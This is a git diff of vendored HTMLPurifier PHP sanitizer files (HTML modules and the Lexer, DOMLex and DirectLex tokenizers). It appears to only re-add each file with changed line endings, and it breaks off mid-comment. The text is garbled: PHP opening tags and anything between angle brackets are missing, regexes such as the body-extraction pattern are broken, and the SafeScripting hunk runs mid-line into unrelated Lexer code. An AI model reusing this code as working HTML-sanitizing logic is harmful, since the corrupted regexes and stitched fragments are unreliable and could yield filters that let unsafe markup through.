b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Name.php @@ -1,26 +1,26 @@ -addBlankElement($name); - $element->attr['name'] = 'CDATA'; - if (!$config->get('HTML.Attr.Name.UseCDATA')) { - $element->attr_transform_post[] = new HTMLPurifier_AttrTransform_NameSync(); - } - } - } -} - -// vim: et sw=4 sts=4 +addBlankElement($name); + $element->attr['name'] = 'CDATA'; + if (!$config->get('HTML.Attr.Name.UseCDATA')) { + $element->attr_transform_post[] = new HTMLPurifier_AttrTransform_NameSync(); + } + } + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Nofollow.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Nofollow.php index c145e8e969..dc9410a895 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Nofollow.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Nofollow.php @@ -1,25 +1,25 @@ -addBlankElement('a'); - $a->attr_transform_post[] = new HTMLPurifier_AttrTransform_Nofollow(); - } -} - -// vim: et sw=4 sts=4 +addBlankElement('a'); + $a->attr_transform_post[] = new HTMLPurifier_AttrTransform_Nofollow(); + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/NonXMLCommonAttributes.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/NonXMLCommonAttributes.php index 7d66e114f2..da722253ac 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/NonXMLCommonAttributes.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/NonXMLCommonAttributes.php @@ -1,20 +1,20 @@ - array( - 'lang' => 'LanguageCode', - ) - ); -} - -// vim: et sw=4 sts=4 + array( + 'lang' => 'LanguageCode', + ) + ); +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Object.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Object.php index d388b24c7f..2f9efc5c88 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Object.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Object.php @@ -1,62 +1,62 @@ - to cater to legacy browsers: this - * module does not allow this sort of behavior - */ -class HTMLPurifier_HTMLModule_Object extends HTMLPurifier_HTMLModule -{ - /** - * @type string - */ - public $name = 'Object'; - - /** - * @type bool - */ - public $safe = false; - - /** - * @param HTMLPurifier_Config $config - */ - public function setup($config) - { - $this->addElement( - 'object', - 'Inline', - 'Optional: #PCDATA | Flow | param', - 'Common', - array( - 'archive' => 'URI', - 'classid' => 'URI', - 'codebase' => 'URI', - 'codetype' => 'Text', - 'data' => 'URI', - 'declare' => 'Bool#declare', - 'height' => 'Length', - 'name' => 'CDATA', - 'standby' => 'Text', - 'tabindex' => 'Number', - 'type' => 'ContentType', - 'width' => 'Length' - ) - ); - - $this->addElement( - 'param', - false, - 'Empty', - null, - array( - 'id' => 'ID', - 'name*' => 'Text', - 'type' => 'Text', - 'value' => 'Text', - 'valuetype' => 'Enum#data,ref,object' - ) - ); - } -} - -// vim: et sw=4 sts=4 + to cater to legacy browsers: this + * module does not allow this sort of behavior + */ +class HTMLPurifier_HTMLModule_Object extends HTMLPurifier_HTMLModule +{ + /** + * @type string + */ + public $name = 'Object'; + + /** + * @type bool + */ + public $safe = false; + + /** + * @param HTMLPurifier_Config $config + */ + public function setup($config) + { + $this->addElement( + 'object', + 'Inline', + 'Optional: #PCDATA | Flow | param', + 'Common', + array( + 'archive' => 'URI', + 'classid' => 'URI', + 'codebase' => 'URI', + 'codetype' => 'Text', + 'data' => 'URI', + 'declare' => 'Bool#declare', + 'height' => 'Length', + 'name' => 'CDATA', + 'standby' => 'Text', + 'tabindex' => 'Number', + 'type' => 'ContentType', + 'width' => 'Length' + ) + ); + + $this->addElement( + 'param', + false, + 'Empty', + null, + array( + 'id' => 'ID', + 'name*' => 'Text', + 'type' => 'Text', + 'value' => 'Text', + 'valuetype' => 'Enum#data,ref,object' + ) + ); + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Presentation.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Presentation.php index 831db4cfff..6458ce9d88 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Presentation.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Presentation.php @@ -1,42 +1,42 @@ -addElement('hr', 'Block', 'Empty', 'Common'); - $this->addElement('sub', 'Inline', 'Inline', 'Common'); - $this->addElement('sup', 'Inline', 'Inline', 'Common'); - $b = $this->addElement('b', 'Inline', 'Inline', 'Common'); - $b->formatting = true; - $big = $this->addElement('big', 'Inline', 'Inline', 'Common'); - $big->formatting = true; - $i = $this->addElement('i', 'Inline', 'Inline', 'Common'); - $i->formatting = true; - $small = $this->addElement('small', 'Inline', 'Inline', 'Common'); - $small->formatting = true; - $tt = $this->addElement('tt', 'Inline', 'Inline', 'Common'); - $tt->formatting = true; - } -} - -// vim: et sw=4 sts=4 +addElement('hr', 'Block', 'Empty', 'Common'); + $this->addElement('sub', 'Inline', 'Inline', 'Common'); + $this->addElement('sup', 'Inline', 'Inline', 'Common'); + $b = $this->addElement('b', 'Inline', 'Inline', 'Common'); + $b->formatting = true; + $big = $this->addElement('big', 'Inline', 'Inline', 'Common'); + $big->formatting = true; + $i = $this->addElement('i', 'Inline', 'Inline', 'Common'); + $i->formatting = true; + $small = $this->addElement('small', 'Inline', 'Inline', 'Common'); + $small->formatting = true; + $tt = $this->addElement('tt', 'Inline', 'Inline', 'Common'); + $tt->formatting = true; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Proprietary.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Proprietary.php index 4593fc40f3..5ee3c8e67f 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Proprietary.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Proprietary.php @@ -1,40 +1,40 @@ -addElement( - 'marquee', - 'Inline', - 'Flow', - 'Common', - array( - 'direction' => 'Enum#left,right,up,down', - 'behavior' => 'Enum#alternate', - 'width' => 'Length', - 'height' => 'Length', - 'scrolldelay' => 'Number', - 'scrollamount' => 'Number', - 'loop' => 'Number', - 'bgcolor' => 'Color', - 'hspace' => 'Pixels', - 'vspace' => 'Pixels', - ) - ); - } -} - -// vim: et sw=4 sts=4 +addElement( + 'marquee', + 'Inline', + 'Flow', + 'Common', + array( + 'direction' => 'Enum#left,right,up,down', + 'behavior' => 'Enum#alternate', + 'width' => 'Length', + 'height' => 'Length', + 'scrolldelay' => 'Number', + 'scrollamount' => 'Number', + 'loop' => 'Number', + 'bgcolor' => 'Color', + 'hspace' => 'Pixels', + 'vspace' => 'Pixels', + ) + ); + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Ruby.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Ruby.php index 9a2617296a..a0d48924da 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Ruby.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Ruby.php @@ -1,36 +1,36 @@ -addElement( - 'ruby', - 'Inline', - 'Custom: ((rb, (rt | (rp, rt, rp))) | (rbc, rtc, rtc?))', - 'Common' - ); - $this->addElement('rbc', false, 'Required: rb', 'Common'); - $this->addElement('rtc', false, 'Required: rt', 'Common'); - $rb = $this->addElement('rb', false, 'Inline', 'Common'); - $rb->excludes = array('ruby' => true); - $rt = $this->addElement('rt', false, 'Inline', 'Common', array('rbspan' => 'Number')); - $rt->excludes = array('ruby' => true); - $this->addElement('rp', false, 'Optional: #PCDATA', 'Common'); - } -} - -// vim: et sw=4 sts=4 +addElement( + 'ruby', + 'Inline', + 'Custom: ((rb, (rt | (rp, rt, rp))) | (rbc, rtc, rtc?))', + 'Common' + ); + $this->addElement('rbc', false, 'Required: rb', 'Common'); + $this->addElement('rtc', false, 'Required: rt', 'Common'); + $rb = $this->addElement('rb', false, 'Inline', 'Common'); + $rb->excludes = array('ruby' => true); + $rt = $this->addElement('rt', false, 'Inline', 'Common', array('rbspan' => 'Number')); + $rt->excludes = array('ruby' => true); + $this->addElement('rp', false, 'Optional: #PCDATA', 'Common'); + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/SafeEmbed.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/SafeEmbed.php index 11572887da..04e6689ea6 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/SafeEmbed.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/SafeEmbed.php @@ -1,40 +1,40 @@ -get('HTML.MaxImgLength'); - $embed = $this->addElement( - 'embed', - 'Inline', - 'Empty', - 'Common', - array( - 'src*' => 'URI#embedded', - 'type' => 'Enum#application/x-shockwave-flash', - 'width' => 'Pixels#' . $max, - 'height' => 'Pixels#' . $max, - 'allowscriptaccess' => 'Enum#never', - 'allownetworking' => 'Enum#internal', - 'flashvars' => 'Text', - 'wmode' => 'Enum#window,transparent,opaque', - 'name' => 'ID', - ) - ); - $embed->attr_transform_post[] = new HTMLPurifier_AttrTransform_SafeEmbed(); - } -} - -// vim: et sw=4 sts=4 +get('HTML.MaxImgLength'); + $embed = $this->addElement( + 'embed', + 'Inline', + 'Empty', + 'Common', + array( + 'src*' => 'URI#embedded', + 'type' => 'Enum#application/x-shockwave-flash', + 'width' => 'Pixels#' . $max, + 'height' => 'Pixels#' . $max, + 'allowscriptaccess' => 'Enum#never', + 'allownetworking' => 'Enum#internal', + 'flashvars' => 'Text', + 'wmode' => 'Enum#window,transparent,opaque', + 'name' => 'ID', + ) + ); + $embed->attr_transform_post[] = new HTMLPurifier_AttrTransform_SafeEmbed(); + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/SafeObject.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/SafeObject.php index a061cec152..1297f80a39 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/SafeObject.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/SafeObject.php @@ -1,62 +1,62 @@ -get('HTML.MaxImgLength'); - $object = $this->addElement( - 'object', - 'Inline', - 'Optional: param | Flow | #PCDATA', - 'Common', - array( - // While technically not required by the spec, we're forcing - // it to this value. - 'type' => 'Enum#application/x-shockwave-flash', - 'width' => 'Pixels#' . $max, - 'height' => 'Pixels#' . $max, - 'data' => 'URI#embedded', - 'codebase' => new HTMLPurifier_AttrDef_Enum( - array( - 'http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0' - ) - ), - ) - ); - $object->attr_transform_post[] = new HTMLPurifier_AttrTransform_SafeObject(); - - $param = $this->addElement( - 'param', - false, - 'Empty', - false, - array( - 'id' => 'ID', - 'name*' => 'Text', - 'value' => 'Text' - ) - ); - $param->attr_transform_post[] = new HTMLPurifier_AttrTransform_SafeParam(); - $this->info_injector[] = 'SafeObject'; - } -} - -// vim: et sw=4 sts=4 +get('HTML.MaxImgLength'); + $object = $this->addElement( + 'object', + 'Inline', + 'Optional: param | Flow | #PCDATA', + 'Common', + array( + // While technically not required by the spec, we're forcing + // it to this value. + 'type' => 'Enum#application/x-shockwave-flash', + 'width' => 'Pixels#' . $max, + 'height' => 'Pixels#' . $max, + 'data' => 'URI#embedded', + 'codebase' => new HTMLPurifier_AttrDef_Enum( + array( + 'http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0' + ) + ), + ) + ); + $object->attr_transform_post[] = new HTMLPurifier_AttrTransform_SafeObject(); + + $param = $this->addElement( + 'param', + false, + 'Empty', + false, + array( + 'id' => 'ID', + 'name*' => 'Text', + 'value' => 'Text' + ) + ); + $param->attr_transform_post[] = new HTMLPurifier_AttrTransform_SafeParam(); + $this->info_injector[] = 'SafeObject'; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/SafeScripting.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/SafeScripting.php index 22669a6cdc..aea7584c37 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/SafeScripting.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/SafeScripting.php @@ -1,40 +1,40 @@ -get('HTML.SafeScripting'); - $script = $this->addElement( - 'script', - 'Inline', - 'Optional:', // Not `Empty` to not allow to autoclose the #i', '', $html); - } - - return $html; - } - - /** - * Takes a string of HTML (fragment or document) and returns the content - * @todo Consider making protected - */ - public function extractBody($html) - { - $matches = array(); - $result = preg_match('|(.*?)]*>(.*)|is', $html, $matches); - if ($result) { - // Make sure it's not in a comment - $comment_start = strrpos($matches[1], ''); - if ($comment_start === false || - ($comment_end !== false && $comment_end > $comment_start)) { - return $matches[2]; - } - } - return $html; - } -} - -// vim: et sw=4 sts=4 +get('Core.LexerImpl'); + } + + $needs_tracking = + $config->get('Core.MaintainLineNumbers') || + $config->get('Core.CollectErrors'); + + $inst = null; + if (is_object($lexer)) { + $inst = $lexer; + } else { + if (is_null($lexer)) { + do { + // auto-detection algorithm + if ($needs_tracking) { + $lexer = 'DirectLex'; + break; + } + + if (class_exists('DOMDocument', false) && + method_exists('DOMDocument', 'loadHTML') && + !extension_loaded('domxml') + ) { + // check for DOM support, because while it's part of the + // core, it can be disabled compile time. Also, the PECL + // domxml extension overrides the default DOM, and is evil + // and nasty and we shan't bother to support it + $lexer = 'DOMLex'; + } else { + $lexer = 'DirectLex'; + } + } while (0); + } // do..while so we can break + + // instantiate recognized string names + switch ($lexer) { + case 'DOMLex': + $inst = new HTMLPurifier_Lexer_DOMLex(); + break; + case 'DirectLex': + $inst = new HTMLPurifier_Lexer_DirectLex(); + break; + case 'PH5P': + $inst = new HTMLPurifier_Lexer_PH5P(); + break; + default: + throw new HTMLPurifier_Exception( + "Cannot instantiate unrecognized Lexer type " . + htmlspecialchars($lexer) + ); + } + } + + if (!$inst) { + throw new HTMLPurifier_Exception('No lexer was instantiated'); + } + + // once PHP DOM implements native line numbers, or we + // hack out something using XSLT, remove this stipulation + if ($needs_tracking && !$inst->tracksLineNumbers) { + throw new HTMLPurifier_Exception( + 'Cannot use lexer that does not support line numbers with ' . + 'Core.MaintainLineNumbers or Core.CollectErrors (use DirectLex instead)' + ); + } + + return $inst; + + } + + // -- CONVENIENCE MEMBERS --------------------------------------------- + + public function __construct() + { + $this->_entity_parser = new HTMLPurifier_EntityParser(); + } + + /** + * Most common entity to raw value conversion table for special entities. + * @type array + */ + protected $_special_entity2str = + array( + '"' => '"', + '&' => '&', + '<' => '<', + '>' => '>', + ''' => "'", + ''' => "'", + ''' => "'" + ); + + public function parseText($string, $config) { + return $this->parseData($string, false, $config); + } + + public function parseAttr($string, $config) { + return $this->parseData($string, true, $config); + } + + /** + * Parses special entities into the proper characters. + * + * This string will translate escaped versions of the special characters + * into the correct ones. + * + * @param string $string String character data to be parsed. + * @return string Parsed character data. + */ + public function parseData($string, $is_attr, $config) + { + // following functions require at least one character + if ($string === '') { + return ''; + } + + // subtracts amps that cannot possibly be escaped + $num_amp = substr_count($string, '&') - substr_count($string, '& ') - + ($string[strlen($string) - 1] === '&' ? 1 : 0); + + if (!$num_amp) { + return $string; + } // abort if no entities + $num_esc_amp = substr_count($string, '&'); + $string = strtr($string, $this->_special_entity2str); + + // code duplication for sake of optimization, see above + $num_amp_2 = substr_count($string, '&') - substr_count($string, '& ') - + ($string[strlen($string) - 1] === '&' ? 1 : 0); + + if ($num_amp_2 <= $num_esc_amp) { + return $string; + } + + // hmm... now we have some uncommon entities. Use the callback. + if ($config->get('Core.LegacyEntityDecoder')) { + $string = $this->_entity_parser->substituteSpecialEntities($string); + } else { + if ($is_attr) { + $string = $this->_entity_parser->substituteAttrEntities($string); + } else { + $string = $this->_entity_parser->substituteTextEntities($string); + } + } + return $string; + } + + /** + * Lexes an HTML string into tokens. + * @param $string String HTML. + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return HTMLPurifier_Token[] array representation of HTML. + */ + public function tokenizeHTML($string, $config, $context) + { + trigger_error('Call to abstract class', E_USER_ERROR); + } + + /** + * Translates CDATA sections into regular sections (through escaping). + * @param string $string HTML string to process. + * @return string HTML with CDATA sections escaped. + */ + protected static function escapeCDATA($string) + { + return preg_replace_callback( + '//s', + array('HTMLPurifier_Lexer', 'CDATACallback'), + $string + ); + } + + /** + * Special CDATA case that is especially convoluted for #i', '', $html); + } + + return $html; + } + + /** + * Takes a string of HTML (fragment or document) and returns the content + * @todo Consider making protected + */ + public function extractBody($html) + { + $matches = array(); + $result = preg_match('|(.*?)]*>(.*)|is', $html, $matches); + if ($result) { + // Make sure it's not in a comment + $comment_start = strrpos($matches[1], ''); + if ($comment_start === false || + ($comment_end !== false && $comment_end > $comment_start)) { + return $matches[2]; + } + } + return $html; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Lexer/DOMLex.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Lexer/DOMLex.php index ffa167c09a..ca5f25b849 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Lexer/DOMLex.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/Lexer/DOMLex.php @@ -1,338 +1,338 @@ -factory = new HTMLPurifier_TokenFactory(); - } - - /** - * @param string $html - * @param HTMLPurifier_Config $config - * @param HTMLPurifier_Context $context - * @return HTMLPurifier_Token[] - */ - public function tokenizeHTML($html, $config, $context) - { - $html = $this->normalize($html, $config, $context); - - // attempt to armor stray angled brackets that cannot possibly - // form tags and thus are probably being used as emoticons - if ($config->get('Core.AggressivelyFixLt')) { - $char = '[^a-z!\/]'; - $comment = "/|\z)/is"; - $html = preg_replace_callback($comment, array($this, 'callbackArmorCommentEntities'), $html); - do { - $old = $html; - $html = preg_replace("/<($char)/i", '<\\1', $html); - } while ($html !== $old); - $html = preg_replace_callback($comment, array($this, 'callbackUndoCommentSubst'), $html); // fix comments - } - - // preprocess html, essential for UTF-8 - $html = $this->wrapHTML($html, $config, $context); - - $doc = new DOMDocument(); - $doc->encoding = 'UTF-8'; // theoretically, the above has this covered - - $options = 0; - if ($config->get('Core.AllowParseManyTags') && defined('LIBXML_PARSEHUGE')) { - $options |= LIBXML_PARSEHUGE; - } - - set_error_handler(array($this, 'muteErrorHandler')); - // loadHTML() fails on PHP 5.3 when second parameter is given - if ($options) { - $doc->loadHTML($html, $options); - } else { - $doc->loadHTML($html); - } - restore_error_handler(); - - $body = $doc->getElementsByTagName('html')->item(0)-> // - getElementsByTagName('body')->item(0); // - - $div = $body->getElementsByTagName('div')->item(0); //
    - $tokens = array(); - $this->tokenizeDOM($div, $tokens, $config); - // If the div has a sibling, that means we tripped across - // a premature
    tag. So remove the div we parsed, - // and then tokenize the rest of body. We can't tokenize - // the sibling directly as we'll lose the tags in that case. - if ($div->nextSibling) { - $body->removeChild($div); - $this->tokenizeDOM($body, $tokens, $config); - } - return $tokens; - } - - /** - * Iterative function that tokenizes a node, putting it into an accumulator. - * To iterate is human, to recurse divine - L. Peter Deutsch - * @param DOMNode $node DOMNode to be tokenized. - * @param HTMLPurifier_Token[] $tokens Array-list of already tokenized tokens. - * @return HTMLPurifier_Token of node appended to previously passed tokens. - */ - protected function tokenizeDOM($node, &$tokens, $config) - { - $level = 0; - $nodes = array($level => new HTMLPurifier_Queue(array($node))); - $closingNodes = array(); - do { - while (!$nodes[$level]->isEmpty()) { - $node = $nodes[$level]->shift(); // FIFO - $collect = $level > 0 ? true : false; - $needEndingTag = $this->createStartNode($node, $tokens, $collect, $config); - if ($needEndingTag) { - $closingNodes[$level][] = $node; - } - if ($node->childNodes && $node->childNodes->length) { - $level++; - $nodes[$level] = new HTMLPurifier_Queue(); - foreach ($node->childNodes as $childNode) { - $nodes[$level]->push($childNode); - } - } - } - $level--; - if ($level && isset($closingNodes[$level])) { - while ($node = array_pop($closingNodes[$level])) { - $this->createEndNode($node, $tokens); - } - } - } while ($level > 0); - } - - /** - * Portably retrieve the tag name of a node; deals with older versions - * of libxml like 2.7.6 - * @param DOMNode $node - */ - protected function getTagName($node) - { - if (isset($node->tagName)) { - return $node->tagName; - } else if (isset($node->nodeName)) { - return $node->nodeName; - } else if (isset($node->localName)) { - return $node->localName; - } - return null; - } - - /** - * Portably retrieve the data of a node; deals with older versions - * of libxml like 2.7.6 - * @param DOMNode $node - */ - protected function getData($node) - { - if (isset($node->data)) { - return $node->data; - } else if (isset($node->nodeValue)) { - return $node->nodeValue; - } else if (isset($node->textContent)) { - return $node->textContent; - } - return null; - } - - - /** - * @param DOMNode $node DOMNode to be tokenized. - * @param HTMLPurifier_Token[] $tokens Array-list of already tokenized tokens. - * @param bool $collect Says whether or start and close are collected, set to - * false at first recursion because it's the implicit DIV - * tag you're dealing with. - * @return bool if the token needs an endtoken - * @todo data and tagName properties don't seem to exist in DOMNode? - */ - protected function createStartNode($node, &$tokens, $collect, $config) - { - // intercept non element nodes. WE MUST catch all of them, - // but we're not getting the character reference nodes because - // those should have been preprocessed - if ($node->nodeType === XML_TEXT_NODE) { - $data = $this->getData($node); // Handle variable data property - if ($data !== null) { - $tokens[] = $this->factory->createText($data); - } - return false; - } elseif ($node->nodeType === XML_CDATA_SECTION_NODE) { - // undo libxml's special treatment of )#si', - array($this, 'scriptCallback'), - $html - ); - } - - $html = $this->normalize($html, $config, $context); - - $cursor = 0; // our location in the text - $inside_tag = false; // whether or not we're parsing the inside of a tag - $array = array(); // result array - - // This is also treated to mean maintain *column* numbers too - $maintain_line_numbers = $config->get('Core.MaintainLineNumbers'); - - if ($maintain_line_numbers === null) { - // automatically determine line numbering by checking - // if error collection is on - $maintain_line_numbers = $config->get('Core.CollectErrors'); - } - - if ($maintain_line_numbers) { - $current_line = 1; - $current_col = 0; - $length = strlen($html); - } else { - $current_line = false; - $current_col = false; - $length = false; - } - $context->register('CurrentLine', $current_line); - $context->register('CurrentCol', $current_col); - $nl = "\n"; - // how often to manually recalculate. This will ALWAYS be right, - // but it's pretty wasteful. Set to 0 to turn off - $synchronize_interval = $config->get('Core.DirectLexLineNumberSyncInterval'); - - $e = false; - if ($config->get('Core.CollectErrors')) { - $e =& $context->get('ErrorCollector'); - } - - // for testing synchronization - $loops = 0; - - while (++$loops) { - // $cursor is either at the start of a token, or inside of - // a tag (i.e. there was a < immediately before it), as indicated - // by $inside_tag - - if ($maintain_line_numbers) { - // $rcursor, however, is always at the start of a token. - $rcursor = $cursor - (int)$inside_tag; - - // Column number is cheap, so we calculate it every round. - // We're interested at the *end* of the newline string, so - // we need to add strlen($nl) == 1 to $nl_pos before subtracting it - // from our "rcursor" position. - $nl_pos = strrpos($html, $nl, $rcursor - $length); - $current_col = $rcursor - (is_bool($nl_pos) ? 0 : $nl_pos + 1); - - // recalculate lines - if ($synchronize_interval && // synchronization is on - $cursor > 0 && // cursor is further than zero - $loops % $synchronize_interval === 0) { // time to synchronize! - $current_line = 1 + $this->substrCount($html, $nl, 0, $cursor); - } - } - - $position_next_lt = strpos($html, '<', $cursor); - $position_next_gt = strpos($html, '>', $cursor); - - // triggers on "asdf" but not "asdf " - // special case to set up context - if ($position_next_lt === $cursor) { - $inside_tag = true; - $cursor++; - } - - if (!$inside_tag && $position_next_lt !== false) { - // We are not inside tag and there still is another tag to parse - $token = new - HTMLPurifier_Token_Text( - $this->parseText( - substr( - $html, - $cursor, - $position_next_lt - $cursor - ), $config - ) - ); - if ($maintain_line_numbers) { - $token->rawPosition($current_line, $current_col); - $current_line += $this->substrCount($html, $nl, $cursor, $position_next_lt - $cursor); - } - $array[] = $token; - $cursor = $position_next_lt + 1; - $inside_tag = true; - continue; - } elseif (!$inside_tag) { - // We are not inside tag but there are no more tags - // If we're already at the end, break - if ($cursor === strlen($html)) { - break; - } - // Create Text of rest of string - $token = new - HTMLPurifier_Token_Text( - $this->parseText( - substr( - $html, - $cursor - ), $config - ) - ); - if ($maintain_line_numbers) { - $token->rawPosition($current_line, $current_col); - } - $array[] = $token; - break; - } elseif ($inside_tag && $position_next_gt !== false) { - // We are in tag and it is well formed - // Grab the internals of the tag - $strlen_segment = $position_next_gt - $cursor; - - if ($strlen_segment < 1) { - // there's nothing to process! - $token = new HTMLPurifier_Token_Text('<'); - $cursor++; - continue; - } - - $segment = substr($html, $cursor, $strlen_segment); - - if ($segment === false) { - // somehow, we attempted to access beyond the end of - // the string, defense-in-depth, reported by Nate Abele - break; - } - - // Check if it's a comment - if (substr($segment, 0, 3) === '!--') { - // re-determine segment length, looking for --> - $position_comment_end = strpos($html, '-->', $cursor); - if ($position_comment_end === false) { - // uh oh, we have a comment that extends to - // infinity. Can't be helped: set comment - // end position to end of string - if ($e) { - $e->send(E_WARNING, 'Lexer: Unclosed comment'); - } - $position_comment_end = strlen($html); - $end = true; - } else { - $end = false; - } - $strlen_segment = $position_comment_end - $cursor; - $segment = substr($html, $cursor, $strlen_segment); - $token = new - HTMLPurifier_Token_Comment( - substr( - $segment, - 3, - $strlen_segment - 3 - ) - ); - if ($maintain_line_numbers) { - $token->rawPosition($current_line, $current_col); - $current_line += $this->substrCount($html, $nl, $cursor, $strlen_segment); - } - $array[] = $token; - $cursor = $end ? $position_comment_end : $position_comment_end + 3; - $inside_tag = false; - continue; - } - - // Check if it's an end tag - $is_end_tag = (strpos($segment, '/') === 0); - if ($is_end_tag) { - $type = substr($segment, 1); - $token = new HTMLPurifier_Token_End($type); - if ($maintain_line_numbers) { - $token->rawPosition($current_line, $current_col); - $current_line += $this->substrCount($html, $nl, $cursor, $position_next_gt - $cursor); - } - $array[] = $token; - $inside_tag = false; - $cursor = $position_next_gt + 1; - continue; - } - - // Check leading character is alnum, if not, we may - // have accidently grabbed an emoticon. Translate into - // text and go our merry way - if (!ctype_alpha($segment[0])) { - // XML: $segment[0] !== '_' && $segment[0] !== ':' - if ($e) { - $e->send(E_NOTICE, 'Lexer: Unescaped lt'); - } - $token = new HTMLPurifier_Token_Text('<'); - if ($maintain_line_numbers) { - $token->rawPosition($current_line, $current_col); - $current_line += $this->substrCount($html, $nl, $cursor, $position_next_gt - $cursor); - } - $array[] = $token; - $inside_tag = false; - continue; - } - - // Check if it is explicitly self closing, if so, remove - // trailing slash. Remember, we could have a tag like
    , so - // any later token processing scripts must convert improperly - // classified EmptyTags from StartTags. - $is_self_closing = (strrpos($segment, '/') === $strlen_segment - 1); - if ($is_self_closing) { - $strlen_segment--; - $segment = substr($segment, 0, $strlen_segment); - } - - // Check if there are any attributes - $position_first_space = strcspn($segment, $this->_whitespace); - - if ($position_first_space >= $strlen_segment) { - if ($is_self_closing) { - $token = new HTMLPurifier_Token_Empty($segment); - } else { - $token = new HTMLPurifier_Token_Start($segment); - } - if ($maintain_line_numbers) { - $token->rawPosition($current_line, $current_col); - $current_line += $this->substrCount($html, $nl, $cursor, $position_next_gt - $cursor); - } - $array[] = $token; - $inside_tag = false; - $cursor = $position_next_gt + 1; - continue; - } - - // Grab out all the data - $type = substr($segment, 0, $position_first_space); - $attribute_string = - trim( - substr( - $segment, - $position_first_space - ) - ); - if ($attribute_string) { - $attr = $this->parseAttributeString( - $attribute_string, - $config, - $context - ); - } else { - $attr = array(); - } - - if ($is_self_closing) { - $token = new HTMLPurifier_Token_Empty($type, $attr); - } else { - $token = new HTMLPurifier_Token_Start($type, $attr); - } - if ($maintain_line_numbers) { - $token->rawPosition($current_line, $current_col); - $current_line += $this->substrCount($html, $nl, $cursor, $position_next_gt - $cursor); - } - $array[] = $token; - $cursor = $position_next_gt + 1; - $inside_tag = false; - continue; - } else { - // inside tag, but there's no ending > sign - if ($e) { - $e->send(E_WARNING, 'Lexer: Missing gt'); - } - $token = new - HTMLPurifier_Token_Text( - '<' . - $this->parseText( - substr($html, $cursor), $config - ) - ); - if ($maintain_line_numbers) { - $token->rawPosition($current_line, $current_col); - } - // no cursor scroll? Hmm... - $array[] = $token; - break; - } - break; - } - - $context->destroy('CurrentLine'); - $context->destroy('CurrentCol'); - return $array; - } - - /** - * PHP 5.0.x compatible substr_count that implements offset and length - * @param string $haystack - * @param string $needle - * @param int $offset - * @param int $length - * @return int - */ - protected function substrCount($haystack, $needle, $offset, $length) - { - static $oldVersion; - if ($oldVersion === null) { - $oldVersion = version_compare(PHP_VERSION, '5.1', '<'); - } - if ($oldVersion) { - $haystack = substr($haystack, $offset, $length); - return substr_count($haystack, $needle); - } else { - return substr_count($haystack, $needle, $offset, $length); - } - } - - /** - * Takes the inside of an HTML tag and makes an assoc array of attributes. - * - * @param string $string Inside of tag excluding name. - * @param HTMLPurifier_Config $config - * @param HTMLPurifier_Context $context - * @return array Assoc array of attributes. - */ - public function parseAttributeString($string, $config, $context) - { - $string = (string)$string; // quick typecast - - if ($string == '') { - return array(); - } // no attributes - - $e = false; - if ($config->get('Core.CollectErrors')) { - $e =& $context->get('ErrorCollector'); - } - - // let's see if we can abort as quickly as possible - // one equal sign, no spaces => one 